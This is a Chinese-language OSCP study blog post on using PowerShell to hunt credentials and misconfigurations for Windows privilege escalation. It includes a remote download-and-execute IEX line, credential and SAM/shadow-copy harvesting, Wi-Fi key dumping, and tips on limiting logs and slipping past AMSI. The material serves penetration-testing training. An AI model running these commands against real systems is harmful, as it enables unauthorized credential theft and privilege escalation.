ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

OSCP备考:PowerShell在Windows提权中的敏感信息收集实战

OSCP备考:PowerShell在Windows提权中的敏感信息收集实战 拿到一个立足点进入系统内部之后真正的挑战才算开始。OSCP备考进行到这里Windows权限提升这块我踩了不少坑也总结出一条相当实用的经验在跑任何内核漏洞或者第三方ExP之前先用PowerShell把系统里的敏感信息翻个底朝天往往比盲目打补丁快得多。我听说过太多人栽在同一个地方——已经拿到了一台Windows主机的低权限Shell却死磕提权翻来覆去找漏洞结果明明桌面上躺着一个写着passwordAdmin123的txt文件或者IIS的web.config里就存着明文数据库密码却没有第一时间发现。这篇文章就是我在OSCP学习过程中的一份实操研记聚焦在Windows权限提升阶段如何利用PowerShell系统化地收集敏感信息。里面会写清楚我在靶场里自己敲过的命令、踩过的坑以及一些比官方文档更实在的判断思路。如果你也在备考OSCP或者正在做渗透测试/红队相关的工作这份清单应该能帮你把信息收集环节做得更扎实。1. 提权前的信息收集为什么说先翻箱底再开枪1.1 一次真实靶场经历带来的启发三个月前练一台Windows提权靶机我一开始的路线相当常规枚举内核版本、查补丁、找漏洞利用脚本折腾了两个多小时一无所获。后来强行冷静下来决定从头梳理这台机器的状态用PowerShell在C:\Users下做了一个全盘关键词搜索结果在C:\Users\public\Documents下面找到一个notes.log里面清清楚楚写着一行系统管理员RDP远程桌面的登录凭据。利用这个凭据直接以管理员身份登录绕过了整整一个提权周期。那次之后我彻底明白了一件事Windows系统的敏感信息无处不在但只有系统化地搜索才叫信息收集否则就是碰运气捡漏。OSCP考试和真实渗透测试其实非常相似目标机器往往不缺少漏洞而是缺少你找对地方的那一步。很多靶机的设计思路就是暗示你通过敏感文件获取下一个权限而不是让你去抢一个0day。1.2 信息收集在OSCP提权方法论中的位置我的提权思路大致可以拆成四层信息收集确认当前用户身份、权限边界、系统信息、已安装软件、网络环境。敏感信息挖掘搜索密码、凭据、配置、历史记录、可读文件。提权依据基于收集到的信息判断到底走服务配置错误、弱权限、明文凭据还是走内核漏洞。落实提权确认路线后用最快的方式达成目的。在这四步里第1步和第2步往往能直接帮你在第3步里少走90%的弯路。如果你已经知道某台机器上有一个计划任务以Admin身份运行且它的命令路径恰恰是你当前用户可写的目录那提权思路就非常清晰了。可如果不去收集这些信息这些线索就永远不会出现在你面前。所以这一章其实是在帮我们建立一个认知在Windows环境下PowerShell就是最顺手的信息收集瑞士军刀。它不需要上传任何二进制文件系统自带而且几乎不会引起什么注意。接下来的章节我会从准备工作、实操命令、凭据挖掘和问题排查四个角度把这套流程完整地展开。2. 用PowerShell做信息收集的准备工作2.1 执行策略限制与脚本落地技巧PowerShell默认的执行策略ExecutionPolicy可能是Restricted或者AllSigned这意味着你直接运行一个.ps1脚本大概率会报错。报错往往长这样无法加载文件 xxx.ps1因为在此系统上禁止运行脚本。这个问题在靶场和真实环境中太常见了我在OSCP第一天就遇到过错误代码对应的就是2146868246。别慌处理方法其实很简单。如果你只是临时执行一段命令不需要落盘脚本直接这样powershell -ep bypass -c Get-ChildItem C:\Users\-ep bypass表示本次进程级别绕过执行策略只对当前进程生效不改系统设置。这个用法干净、快速是我在靶场中最常用的方式。如果你确实需要运行一个脚本文件可以把脚本内容远程加载进内存执行不落地到磁盘IEX(New-Object Net.WebClient).DownloadString(http://your-host/collect.ps1)这里有一点需要注意在OSCP考试环境里很多情况下你能通过脚本获取的东西其实用单行命令也能搞定。所以核心不是会写复杂脚本而是能把一条条的PowerShell命令玩熟。我习惯把常用命令存成一个小片段列表需要哪条就复制哪条效率很高。另外很多初学者一看到执行策略受限就急着去改注册表、组策略实际上没必要。Set-ExecutionPolicy Bypass -Scope Process基本解决99%的问题。剩下那1%往往是当前用户连注册表都动不了的情况那也没关系-ep bypass照样能用。2.2 先看我是谁确认当前权限级别与账号信息信息收集的第一步不是到处找密码而是先搞清楚自己当前在系统里处在什么位置。我的开场白永远是这几条命令的组合whoami whoami /priv whoami /groupswhoami /priv能看到你当前进程拥有的特权列表。如果看到SeImpersonatePrivilege并且状态是Enabled通常意味着有土豆系列提权或类似服务劫持的可能性。如果SeBackupPrivilege和SeRestorePrivilege同时存在那么直接备份注册表/读取SAM文件都是可选路线。whoami /groups重点看Mandatory Label也就是完整性级别。如果显示的是Medium权限提升还有相当大空间如果显示High那基本已经是管理员组的令牌了。除了身份信息还需要快速掌握机器基本状态。我一般用下面这几条并行看systeminfo ipconfig /all net user net localgroup administrators netstat -anosysteminfo里的补丁信息对内核漏洞利用很有参考价值但也要看机器是否开启了防火墙或者杀软很多时候服务配置错误比内核漏洞更加可行。netstat -ano则是为了发现本机监听的特殊端口尤其是内网中的数据库、远程管理服务这些都是后续横向移动的潜在入口。这些命令单独看都平平无奇但组合在一起就能快速形成一张当前机器画像。信息收集的目的就是画这张画像画得越完整之后的判断就越有底气。2.3 顺手清理自己的足迹安全测试中的基本素养这条容易被忽略但我觉得很值得讲。无论是OSCP练习还是授权测试在目标机器上操作时都应该注意尽量减少不必要的日志留存。PowerShell命令执行会产生对应的日志记录尤其是.ps1脚本文件的内容更明显。我个人在这方面的习惯是尽量使用-ep bypass -c这种单行命令避免在磁盘上留下大段脚本文件。如果必须上传脚本用完后及时删除包括下载缓存。不随意把结果明文写到当前用户桌面上尽量通过HTTP回传或者直接读取在终端看。这不是在教恶意逃避监控而是渗透测试的基本职业习惯——在授权范围内做事也要事毕即清。关于日志清理的具体命令我不在这里展开因为OSCP考察的核心是提权思路而不是反取证技术。了解不要留下大量测试痕迹这个原则就够了。3. 敏感信息挖掘的实操清单每个角落都值得翻一遍3.1 用户目录搜索密码、令牌和配置文件一旦确认当前用户有权读取其他用户目录很多时候低权限用户也能读Public、SomeUser的Desktop第一步就是对用户目录做一次递归搜索。我在靶场里最常跑的搜索命令是Get-ChildItem -Path C:\Users\ -Recurse -Force -Include *.txt,*.log,*.ini,*.xml,*.config,*.dat,*.bak -ErrorAction SilentlyContinue这条命令会列出几乎所有常见扩展名的文件但文件一多就会眼花缭乱。所以更高效的做法是内容关键词搜索直接定位包含敏感信息的文件Get-ChildItem -Path C:\Users\ -Recurse -Force -ErrorAction SilentlyContinue | Select-String -Pattern password|passwd|pwd|credentials|token|secret|api_key|connectionstring -List用Select-String直接在文件内容里匹配关键词匹配到的结果会告诉你具体文件路径和命中行。我建议加-List参数只列出每个文件的第一个命中避免同一个文件反反复复刷屏。如果命中等信息太多还可以进一步排除C:\Users\*\AppData目录因为那里文件数量极大搜索效率会明显降低。搜索时我习惯把关键词分两轮第一轮搜大写变体Password、Passwd、PWD、DB_PASS。第二轮搜常见名词Secret、Token、Credential、Netsh、vnc。遇到可疑文件后用下面这条单独看前100行Get-Content C:\Users\xxx\Documents\passwords.txt -TotalCount 100如果文件编码很怪、中文乱码可以用Get-Content -Encoding UTF8或者把文件内容按字节读取再转字符串。乱码问题在这一步很常见后面专门讲。3.2 Web配置与数据库连接字符串拿到Shell之后别只盯着C盘各处翻文件。如果目标机器跑着IIS、Apache或者某个应用服务器Web目录下的配置文件往往是重量级敏感信息仓库。我最先看的位置是C:\inetpub\wwwroot\C:\inetpub\temp\应用池相关D:\wwwroot\或其他盘符下的站点目录配置文件类型视技术栈而定核心是这些web.config web.config.old appsettings.json database.php config.php .env settings.py application.properties以IIS举例站点根目录下的web.config里常包含连接字符串或appSettings。即使里面没有密码也可以查看system.webServer节点来定位应用池账号和更多虚拟路径。使用搜索命令时我一般直接把文件名列表丢给Get-ChildItem搜索Get-ChildItem -Path C:\inetpub\ -Recurse -Include web.config,*.config,*.xml,*.json,*.env -ErrorAction SilentlyContinue命中后马上读内容。很多情况下数据库连接字符串里的密码可以复用为系统密码或者直接用于后续数据库提权。除了站点配置IIS的应用主机配置文件C:\Windows\System32\inetsrv\config\applicationHost.config建议顺手看一眼它记录了站点池的账户信息和物理路径配置。如果能看到某个应用池以自定义账户运行而这个账户密码配置得不够复杂那可能又是一条线索。3.3 注册表、计划任务与启动项隐蔽的信息点文件系统之外的另一个大金矿是Windows注册表。信息收集阶段我重点检查以下节点reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution OptionsWinlogon节点的DefaultPassword、DefaultUserName很实用某些管理员为了方便自动登录会直接把这些信息留在注册表里。Run键里则经常出现第三方软件的自启动路径如果路径指向的目录当前用户可写那就意味着我们可以替换启动项指向的脚本/程序等待管理员下次登录触发。计划任务也是提权的高频入口。查看所有计划任务详情schtasks /query /fo LIST /v输出可能很长我会把输出重定向到临时文件再搜索schtasks /query /fo CSV /v C:\Windows\Temp\tasks.csv Get-Content C:\Windows\Temp\tasks.csv | Select-String -Pattern Run As|Task To Run|command如果发现某个计划任务以SYSTEM或管理员身份运行运行的程序路径又在一个低权限用户可以写入的目录那么提权路径几乎就摆在眼前了。另外注册表里的AlwaysInstallElevated键也值得检查一下。如果这两个键同时存在HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 1 HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 1那么当前用户可以用msiexec以高权限安装任意MSI包这又是一条经典的提权路线。检查方法reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated3.4 环境变量、网络历史与共享目录容易漏但收益高环境变量里偶尔会有惊喜。管理员为了方便可能在系统环境变量里设置了临时凭证或者接口地址Get-ChildItem Env: | Format-Table -AutoSize%PATH%里包含的第三方工具目录也可以留意比如某些数据库管理员把psql.exe放在了一个可写的共享目录那就能顺着这个路径想更多后续利用方案。无线和网络相关的敏感信息也不能忽略。netsh wlan show profiles可以看到本机保存过的WiFi配置文件如果系统里保存了明文密钥会有意外收获。这条命令在物理接触场景和POST利用阶段都很常用netsh wlan show profiles netsh wlan show profile name某热点名 keyclear当然如果是纯服务器场景WiFi信息大概率不存在但值得顺手跑一下。内网共享目录属于更值得系统化收集的范围。net view \\localhost /all可以看本机共享了什么net view /domain可以看当前域内的可访问共享。很多企业的内部工具目录、备份目录都设置了宽松权限信息泄露往往就是从共享目录开始的。在OSCP的考试环境里域内共享通常也是拿分点尤其是SYSVOL共享里的组策略脚本历史上出现过大量明文密码泄露的案例dir \\domain.com\SYSVOL\domain.com\Policies要注意的是这个操作需要你能通过认证访问域共享如果当前机器已经加入域并且当前用户具有基本域身份这条命令是值得试的。4. 加密凭据与更高价值目标不只是明文密码4.1 凭据管理器、DPAPI与浏览器密码文件系统搜索找到的多半是明文密码但Windows系统里还有一类被加密保护的敏感数据它们比武库里的txt文件更加隐蔽价值也往往更高。首先看当前用户是否存储了Windows凭据cmdkey /list输出里如果存在targetTERMSRV/xxx或targetxxx的条目说明当前用户保存过远程桌面或某些应用的登录凭据。配合runas /savecred这个机制有时候可以直接用一条runas /savecred /user:管理员名 cmd /c whoami 结果路径来验证能不能以保存的凭据运行命令。桌面凭据管理器Windows Credential Manager保存的凭据文件本质上是受DPAPI保护的。DPAPI的密钥与当前用户的密码、SID相关如果当前用户就是保存凭据的那个人那么可以直接用PowerShell调用System.Security.Cryptography.ProtectedData类来解密。具体解密脚本不长但要注意在OSCP考试环境下不一定需要走到这一步——因为很多情况下cmdkey /list已经能给你足够多的线索了。浏览器保存的密码同样是高价值目标。Chrome、Edge的登录数据保存在%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data这个SQLite数据库里密码字段经过AES加密但加密密钥存放在同目录的Local State文件中。对于安全测试而言读取浏览器数据的工具非常多甚至有些靶机直接装了老版本浏览器密码直接用弱密钥就能解出来。我个人的建议是在OSCP阶段不要把大量精力投入到浏览器密码解密因为考试机通常不会依赖这个作为唯一提权路径而且解密过程偶尔会踩版本兼容的坑。先看系统凭据再看文件信息浏览器数据可以作为最后的选择。4.2 SAM、注册表转储与卷影副本如果当前权限已经比较接近管理员或者发现SeBackupPrivilege这类特权在手就该把注意力投向系统凭据数据库了。Windows把本机用户密码哈希放在C:\Windows\System32\config\SAM文件里但运行中的系统不允许直接读取它。于是我通常会尝试用卷影复制的方式拉副本vssadmin create shadow /forC:这条命令需要管理员权限如果当前用户已经有管理员权限那信息收集的丰度立刻上升一个台阶。拿到副本之后可以回到一个你能读写的目录从卷影副本挂载的路径中复制SAM、SYSTEM、SECURITY这几个文件。之后在本地用哈希提取工具解析出本地用户的NTLM哈希。在OSCP考试里这一步其实经常是提权成功后的战利品确认因为一旦你有了SYSTEM权限本质上已经提权成功。但它的意义在于验证和横向移动——如果拿到域管理员的哈希整个域环境基本就拿下了。另一种常见情况是注册表本身可以直接导出。即使当前没有管理员权限某些服务的配置文件里也可能残留备份的SAM文件。我搜索文件的时候会额外加一个关键词Get-ChildItem -Path C:\ -Recurse -Include SAM,SYSTEM,SECURITY -ErrorAction SilentlyContinue 2$null很多配置不当的机器会在备份目录、Windows.old目录甚至FTP根目录里留下这些关键文件。4.3 从找到信息到提权闭环信息如何真正转化为权限收集到一堆敏感信息之后很多人反而懵了文件在手里密码看到了但怎么用这里我总结过一条实用链路可以顺着它把事情串起来拿到明文密码先尝试本地账户密码复用用net user 用户名 密码 /add不合适应该用验证登录的方式再去试RDP、数据库、FTP、共享。拿到NTLM哈希在内网环境里哈希传递是替代密码登录的方式也可以用于破解出明文。发现可写的服务/计划任务路径替换目标为反弹连接脚本等待触发条件。发现某个服务使用已知密码用sc qc 服务名确认服务账户再通过sc config修改服务路径需要权限允许。这一整套的逻辑说到底就是用信息去匹配攻击路径。我从一开始就强调信息收集不是单纯地看别人的东西而是为了给后续动作铺路。在OSCP考试里任何一条你发现不了的敏感信息都不会自动帮你提权只有当你把它转化为新的身份或新的访问入口时它才算真正兑现了价值。所以每次挖到一份配置或一段密码我都会在终端里追问自己三个问题这个密码是否与其他系统复用这个凭据属于哪个用户/服务哪条路径可以直接利用这个凭据获得更高的权限带着这三个问题去筛查信息才算真正被盘活。5. 实战中的常见坑与排查技巧实录5.1 PowerShell 执行被禁止、脚本乱码怎么办PowerShell跑不动是最常遇到的问题除了执行策略之外还有两种情况很让人抓狂。第一种是脚本本身是对的但因为编码问题导致命令解析乱码。这种情况在Windows中文系统里尤为普遍脚本文件保存成UTF-8没带BOM而Windows PowerShell 5.1默认按ANSI/GBK编码读取结果中文字符全变乱码。命令行本身不会直接报错但执行出来的结果常常莫名其妙。处理思路有两个要么把脚本另存为带BOM的UTF-8格式要么在执行前把控制台编码切换一下chcp 65001但chcp 65001只影响当前命令行窗口的输入输出编码对脚本文件的读取编码并没有直接作用所以我更推荐直接在脚本里指定读取方式Get-Content -Path C:\script.ps1 -Encoding UTF8 | Out-String | Invoke-Expression第二种是PowerShell被组策略或者本地策略禁用。虽然-ep bypass能解决执行策略但如果存在AppLocker或WDAC策略那直接运行.ps1脚本一样会被拦截。这时候更可靠的做法是用CMD先弹一个PowerShell进程或者把命令拆成一条条最基础的cmd命令来做信息收集。老实说我有一台靶机就是被AppLocker管得死死的最后完全靠cmd /c下用dir、type、findstr把敏感文件翻完的。5.2 权限不足、文件被占用、搜索超时用Get-ChildItem -Recurse扫整个C盘经常会遇到访问被拒绝的目录抛出大量红色报错。我的处理方式是全程加-ErrorAction SilentlyContinue静默跳过所有无权限项目避免刷屏影响判断Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Force但是-Force和-Recurse一起用在遇到一些系统目录时依然会慢得离谱。我通常只针对C:\Users、C:\inetpub、C:\ProgramData这些高价值目录做递归搜索全盘扫描放在最后兜底。文件被占用的情况也很常见比如某个日志文件正在被系统进程写入你用Get-Content读取会报文件正在被另一进程使用。这时候可以改用[System.IO.File]::ReadAllText()方式读取或者复制一份到临时目录再看Copy-Item C:\目标\文件.log C:\Temp\copy.log -Force Get-Content C:\Temp\copy.log还有一类情况是搜索超时。大目录下用Select-String匹配内容遇到超大文件会卡很久。我的做法是先用Get-ChildItem筛出候选文件列表再逐一对候选做内容匹配而不是一次性对全盘做Select-String。虽然多了一步但整体耗时会小得多。5.3 常见问题速查表遇到的问题报错/现象快速处理方式执行策略禁止脚本无法加载ps1系统禁止运行脚本powershell -ep bypass -c 命令脚本中文乱码中文变乱码、执行结果异常文件另存为带BOM的UTF-8或用-Encoding UTF8读取目录无权限大量红色Access Denied输出加-ErrorAction SilentlyContinue大目录搜索慢卡在某个目录长时间无响应排除Windows目录只搜高价值目录文件被占用文件正被另一进程使用Copy-Item到临时目录后读取命令被本地策略拦截AppLocker/WDAC报错改用cmd /c基础命令组合AMSI拦截PowerShell操作提示Operation is not allowed拆分命令、避免明显恶意载荷、逐条执行基础命令这个表格帮我在备考后期节省了大量时间。遇到问题先用它快速定位再去深入排查效率完全不一样。6. 写在研记最后我的复盘与建议6.1 信息收集的优先级判断与时间分配经过几十台靶机的反复练习我总结出OSCP考试里信息收集的黄金一小时策略。拿下一个初始立足点之后我的时间分配大致是这样前10分钟确认身份、权限、系统基础信息。中间30分钟对用户目录、Web配置、注册表启动项、计划任务做系统化搜索。最后20分钟针对前面发现的线索做定点验证比如试密码、测试可写路径、检查服务配置。这只是一个大概框架但核心原则值得参考信息收集不能无限延长。在OSCP考试里你有好几台机器要打每台机器的时间有限。如果陷入再搜一个目录说不定就有密码的循环效率会急剧下降。我的经验是有明显现成线索就立即验证没有的话及时转换思路去查服务和内核版本不要死磕某一条路。另外我强烈建议平时练习时就养成把命令分类整理的习惯。我自己整理了一份PowerShell信息收集命令速查按文件搜索、注册表、网络、凭据四个维度分类每次打靶场前先过一遍。久而久之这些命令就变成了肌肉记忆考试时根本不需要现场翻笔记。6.2 给备考者的一句话经验如果只能留下一句话我想说Windows提权靠的不是某一个神奇的工具而是对系统结构的熟悉程度。PowerShell只是一个载体真正值钱的是你知道该去哪找线索、怎么判断线索的价值、以及如何把线索串联成可执行的路径。OSCP这条路练的不是技巧是思维。多打靶场多复盘自己的失败尝试比死记硬背任何命令列表都管用。我个人的体会是当你能闭着眼睛说出哪条命令对应哪类敏感信息的时候Windows权限提升这关就已经过了一大半。
返回列表